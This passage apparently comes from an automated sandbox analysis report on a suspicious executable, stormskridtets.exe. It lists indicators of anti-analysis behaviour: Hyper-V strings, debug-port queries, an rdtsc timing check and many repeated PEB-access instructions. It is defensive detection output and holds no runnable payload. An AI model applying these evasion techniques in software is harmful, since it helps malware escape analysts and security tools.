            Source: stormskridtets.exe, 00000006.00000003.2426686795.00000000071CE000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000002.2531307136.00000000071CE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: stormskridtets.exe, 00000006.00000003.2426975917.00000000071A0000.00000004.00000020.00020000.00000000.sdmp, stormskridtets.exe, 00000006.00000003.2426737229.00000000071A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW]
            Source: C:\Users\user\Desktop\stormskridtets.exeAPI call chain: ExitProcess graph end nodegraph_0-2284
            Source: C:\Users\user\Desktop\stormskridtets.exeAPI call chain: ExitProcess graph end nodegraph_0-2498
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\wiaacmgr.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747D1C0 rdtsc 6_2_3747D1C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_00406ADB GetTickCount,LdrInitializeThunk,0_2_00406ADB
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 0_2_73C91B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_73C91B5F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37413740 mov eax, dword ptr fs:[00000030h]6_2_37413740
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37413740 mov eax, dword ptr fs:[00000030h]6_2_37413740
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37413740 mov eax, dword ptr fs:[00000030h]6_2_37413740
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D3749 mov eax, dword ptr fs:[00000030h]6_2_374D3749
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743674D mov esi, dword ptr fs:[00000030h]6_2_3743674D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743674D mov eax, dword ptr fs:[00000030h]6_2_3743674D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743674D mov eax, dword ptr fs:[00000030h]6_2_3743674D
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F9730 mov eax, dword ptr fs:[00000030h]6_2_373F9730
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F9730 mov eax, dword ptr fs:[00000030h]6_2_373F9730
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37400750 mov eax, dword ptr fs:[00000030h]6_2_37400750
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442750 mov eax, dword ptr fs:[00000030h]6_2_37442750
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442750 mov eax, dword ptr fs:[00000030h]6_2_37442750
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37484755 mov eax, dword ptr fs:[00000030h]6_2_37484755
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37408770 mov eax, dword ptr fs:[00000030h]6_2_37408770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410770 mov eax, dword ptr fs:[00000030h]6_2_37410770
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37405702 mov eax, dword ptr fs:[00000030h]6_2_37405702
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37405702 mov eax, dword ptr fs:[00000030h]6_2_37405702
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37407703 mov eax, dword ptr fs:[00000030h]6_2_37407703
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743C700 mov eax, dword ptr fs:[00000030h]6_2_3743C700
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37400710 mov eax, dword ptr fs:[00000030h]6_2_37400710
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37430710 mov eax, dword ptr fs:[00000030h]6_2_37430710
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FB765 mov eax, dword ptr fs:[00000030h]6_2_373FB765
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FB765 mov eax, dword ptr fs:[00000030h]6_2_373FB765
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FB765 mov eax, dword ptr fs:[00000030h]6_2_373FB765
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FB765 mov eax, dword ptr fs:[00000030h]6_2_373FB765
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743F71F mov eax, dword ptr fs:[00000030h]6_2_3743F71F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743F71F mov eax, dword ptr fs:[00000030h]6_2_3743F71F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37403720 mov eax, dword ptr fs:[00000030h]6_2_37403720
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F720 mov eax, dword ptr fs:[00000030h]6_2_3741F720
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F720 mov eax, dword ptr fs:[00000030h]6_2_3741F720
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741F720 mov eax, dword ptr fs:[00000030h]6_2_3741F720
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743C720 mov eax, dword ptr fs:[00000030h]6_2_3743C720
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743C720 mov eax, dword ptr fs:[00000030h]6_2_3743C720
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF72E mov eax, dword ptr fs:[00000030h]6_2_374BF72E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C972B mov eax, dword ptr fs:[00000030h]6_2_374C972B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374DB73C mov eax, dword ptr fs:[00000030h]6_2_374DB73C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374DB73C mov eax, dword ptr fs:[00000030h]6_2_374DB73C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374DB73C mov eax, dword ptr fs:[00000030h]6_2_374DB73C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374DB73C mov eax, dword ptr fs:[00000030h]6_2_374DB73C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747C730 mov eax, dword ptr fs:[00000030h]6_2_3747C730
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37435734 mov eax, dword ptr fs:[00000030h]6_2_37435734
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740973A mov eax, dword ptr fs:[00000030h]6_2_3740973A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740973A mov eax, dword ptr fs:[00000030h]6_2_3740973A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743273C mov eax, dword ptr fs:[00000030h]6_2_3743273C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743273C mov ecx, dword ptr fs:[00000030h]6_2_3743273C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743273C mov eax, dword ptr fs:[00000030h]6_2_3743273C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740C7C0 mov eax, dword ptr fs:[00000030h]6_2_3740C7C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374057C0 mov eax, dword ptr fs:[00000030h]6_2_374057C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374057C0 mov eax, dword ptr fs:[00000030h]6_2_374057C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374057C0 mov eax, dword ptr fs:[00000030h]6_2_374057C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF7BA mov eax, dword ptr fs:[00000030h]6_2_373FF7BA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374807C3 mov eax, dword ptr fs:[00000030h]6_2_374807C3
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740D7E0 mov ecx, dword ptr fs:[00000030h]6_2_3740D7E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374227ED mov eax, dword ptr fs:[00000030h]6_2_374227ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374227ED mov eax, dword ptr fs:[00000030h]6_2_374227ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374227ED mov eax, dword ptr fs:[00000030h]6_2_374227ED
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374047FB mov eax, dword ptr fs:[00000030h]6_2_374047FB
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374047FB mov eax, dword ptr fs:[00000030h]6_2_374047FB
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF78A mov eax, dword ptr fs:[00000030h]6_2_374BF78A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374897A9 mov eax, dword ptr fs:[00000030h]6_2_374897A9
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748F7AF mov eax, dword ptr fs:[00000030h]6_2_3748F7AF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748F7AF mov eax, dword ptr fs:[00000030h]6_2_3748F7AF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748F7AF mov eax, dword ptr fs:[00000030h]6_2_3748F7AF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748F7AF mov eax, dword ptr fs:[00000030h]6_2_3748F7AF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748F7AF mov eax, dword ptr fs:[00000030h]6_2_3748F7AF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374007AF mov eax, dword ptr fs:[00000030h]6_2_374007AF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742D7B0 mov eax, dword ptr fs:[00000030h]6_2_3742D7B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D37B6 mov eax, dword ptr fs:[00000030h]6_2_374D37B6
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741C640 mov eax, dword ptr fs:[00000030h]6_2_3741C640
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FF626 mov eax, dword ptr fs:[00000030h]6_2_373FF626
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C866E mov eax, dword ptr fs:[00000030h]6_2_374C866E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C866E mov eax, dword ptr fs:[00000030h]6_2_374C866E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A660 mov eax, dword ptr fs:[00000030h]6_2_3743A660
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A660 mov eax, dword ptr fs:[00000030h]6_2_3743A660
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37439660 mov eax, dword ptr fs:[00000030h]6_2_37439660
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37439660 mov eax, dword ptr fs:[00000030h]6_2_37439660
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37432674 mov eax, dword ptr fs:[00000030h]6_2_37432674
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743F603 mov eax, dword ptr fs:[00000030h]6_2_3743F603
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37431607 mov eax, dword ptr fs:[00000030h]6_2_37431607
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741260B mov eax, dword ptr fs:[00000030h]6_2_3741260B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741260B mov eax, dword ptr fs:[00000030h]6_2_3741260B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741260B mov eax, dword ptr fs:[00000030h]6_2_3741260B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741260B mov eax, dword ptr fs:[00000030h]6_2_3741260B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741260B mov eax, dword ptr fs:[00000030h]6_2_3741260B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741260B mov eax, dword ptr fs:[00000030h]6_2_3741260B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741260B mov eax, dword ptr fs:[00000030h]6_2_3741260B
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747E609 mov eax, dword ptr fs:[00000030h]6_2_3747E609
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37403616 mov eax, dword ptr fs:[00000030h]6_2_37403616
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37403616 mov eax, dword ptr fs:[00000030h]6_2_37403616
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37442619 mov eax, dword ptr fs:[00000030h]6_2_37442619
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37436620 mov eax, dword ptr fs:[00000030h]6_2_37436620
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37438620 mov eax, dword ptr fs:[00000030h]6_2_37438620
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3741E627 mov eax, dword ptr fs:[00000030h]6_2_3741E627
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740262C mov eax, dword ptr fs:[00000030h]6_2_3740262C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D5636 mov eax, dword ptr fs:[00000030h]6_2_374D5636
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B6C0 mov eax, dword ptr fs:[00000030h]6_2_3740B6C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B6C0 mov eax, dword ptr fs:[00000030h]6_2_3740B6C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B6C0 mov eax, dword ptr fs:[00000030h]6_2_3740B6C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B6C0 mov eax, dword ptr fs:[00000030h]6_2_3740B6C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B6C0 mov eax, dword ptr fs:[00000030h]6_2_3740B6C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740B6C0 mov eax, dword ptr fs:[00000030h]6_2_3740B6C0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C16CC mov eax, dword ptr fs:[00000030h]6_2_374C16CC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C16CC mov eax, dword ptr fs:[00000030h]6_2_374C16CC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C16CC mov eax, dword ptr fs:[00000030h]6_2_374C16CC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374C16CC mov eax, dword ptr fs:[00000030h]6_2_374C16CC
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A6C7 mov ebx, dword ptr fs:[00000030h]6_2_3743A6C7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743A6C7 mov eax, dword ptr fs:[00000030h]6_2_3743A6C7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BF6C7 mov eax, dword ptr fs:[00000030h]6_2_374BF6C7
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374316CF mov eax, dword ptr fs:[00000030h]6_2_374316CF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F76B2 mov eax, dword ptr fs:[00000030h]6_2_373F76B2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F76B2 mov eax, dword ptr fs:[00000030h]6_2_373F76B2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373F76B2 mov eax, dword ptr fs:[00000030h]6_2_373F76B2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FD6AA mov eax, dword ptr fs:[00000030h]6_2_373FD6AA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FD6AA mov eax, dword ptr fs:[00000030h]6_2_373FD6AA
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742D6E0 mov eax, dword ptr fs:[00000030h]6_2_3742D6E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742D6E0 mov eax, dword ptr fs:[00000030h]6_2_3742D6E0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374936EE mov eax, dword ptr fs:[00000030h]6_2_374936EE
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374936EE mov eax, dword ptr fs:[00000030h]6_2_374936EE
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374936EE mov eax, dword ptr fs:[00000030h]6_2_374936EE
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374936EE mov eax, dword ptr fs:[00000030h]6_2_374936EE
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374936EE mov eax, dword ptr fs:[00000030h]6_2_374936EE
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374936EE mov eax, dword ptr fs:[00000030h]6_2_374936EE
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374336EF mov eax, dword ptr fs:[00000030h]6_2_374336EF
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747E6F2 mov eax, dword ptr fs:[00000030h]6_2_3747E6F2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747E6F2 mov eax, dword ptr fs:[00000030h]6_2_3747E6F2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747E6F2 mov eax, dword ptr fs:[00000030h]6_2_3747E6F2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3747E6F2 mov eax, dword ptr fs:[00000030h]6_2_3747E6F2
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374806F1 mov eax, dword ptr fs:[00000030h]6_2_374806F1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374806F1 mov eax, dword ptr fs:[00000030h]6_2_374806F1
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BD6F0 mov eax, dword ptr fs:[00000030h]6_2_374BD6F0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748368C mov eax, dword ptr fs:[00000030h]6_2_3748368C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748368C mov eax, dword ptr fs:[00000030h]6_2_3748368C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748368C mov eax, dword ptr fs:[00000030h]6_2_3748368C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3748368C mov eax, dword ptr fs:[00000030h]6_2_3748368C
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37404690 mov eax, dword ptr fs:[00000030h]6_2_37404690
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37404690 mov eax, dword ptr fs:[00000030h]6_2_37404690
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743C6A6 mov eax, dword ptr fs:[00000030h]6_2_3743C6A6
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374366B0 mov eax, dword ptr fs:[00000030h]6_2_374366B0
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37408550 mov eax, dword ptr fs:[00000030h]6_2_37408550
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37408550 mov eax, dword ptr fs:[00000030h]6_2_37408550
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743656A mov eax, dword ptr fs:[00000030h]6_2_3743656A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743656A mov eax, dword ptr fs:[00000030h]6_2_3743656A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743656A mov eax, dword ptr fs:[00000030h]6_2_3743656A
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743B570 mov eax, dword ptr fs:[00000030h]6_2_3743B570
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743B570 mov eax, dword ptr fs:[00000030h]6_2_3743B570
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37437505 mov eax, dword ptr fs:[00000030h]6_2_37437505
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37437505 mov ecx, dword ptr fs:[00000030h]6_2_37437505
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D4500 mov eax, dword ptr fs:[00000030h]6_2_374D4500
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D4500 mov eax, dword ptr fs:[00000030h]6_2_374D4500
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D4500 mov eax, dword ptr fs:[00000030h]6_2_374D4500
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D4500 mov eax, dword ptr fs:[00000030h]6_2_374D4500
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D4500 mov eax, dword ptr fs:[00000030h]6_2_374D4500
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D4500 mov eax, dword ptr fs:[00000030h]6_2_374D4500
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D4500 mov eax, dword ptr fs:[00000030h]6_2_374D4500
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_373FB562 mov eax, dword ptr fs:[00000030h]6_2_373FB562
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374BB52F mov eax, dword ptr fs:[00000030h]6_2_374BB52F
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AF525 mov eax, dword ptr fs:[00000030h]6_2_374AF525
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AF525 mov eax, dword ptr fs:[00000030h]6_2_374AF525
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AF525 mov eax, dword ptr fs:[00000030h]6_2_374AF525
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AF525 mov eax, dword ptr fs:[00000030h]6_2_374AF525
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AF525 mov eax, dword ptr fs:[00000030h]6_2_374AF525
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AF525 mov eax, dword ptr fs:[00000030h]6_2_374AF525
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374AF525 mov eax, dword ptr fs:[00000030h]6_2_374AF525
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743D530 mov eax, dword ptr fs:[00000030h]6_2_3743D530
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3743D530 mov eax, dword ptr fs:[00000030h]6_2_3743D530
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410535 mov eax, dword ptr fs:[00000030h]6_2_37410535
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410535 mov eax, dword ptr fs:[00000030h]6_2_37410535
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410535 mov eax, dword ptr fs:[00000030h]6_2_37410535
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410535 mov eax, dword ptr fs:[00000030h]6_2_37410535
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410535 mov eax, dword ptr fs:[00000030h]6_2_37410535
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_37410535 mov eax, dword ptr fs:[00000030h]6_2_37410535
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740D534 mov eax, dword ptr fs:[00000030h]6_2_3740D534
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740D534 mov eax, dword ptr fs:[00000030h]6_2_3740D534
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740D534 mov eax, dword ptr fs:[00000030h]6_2_3740D534
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740D534 mov eax, dword ptr fs:[00000030h]6_2_3740D534
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740D534 mov eax, dword ptr fs:[00000030h]6_2_3740D534
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3740D534 mov eax, dword ptr fs:[00000030h]6_2_3740D534
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_374D5537 mov eax, dword ptr fs:[00000030h]6_2_374D5537
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E53E mov eax, dword ptr fs:[00000030h]6_2_3742E53E
            Source: C:\Users\user\Desktop\stormskridtets.exeCode function: 6_2_3742E53E mov eax, dword ptr fs:[00000030h]6_2_3742E53E
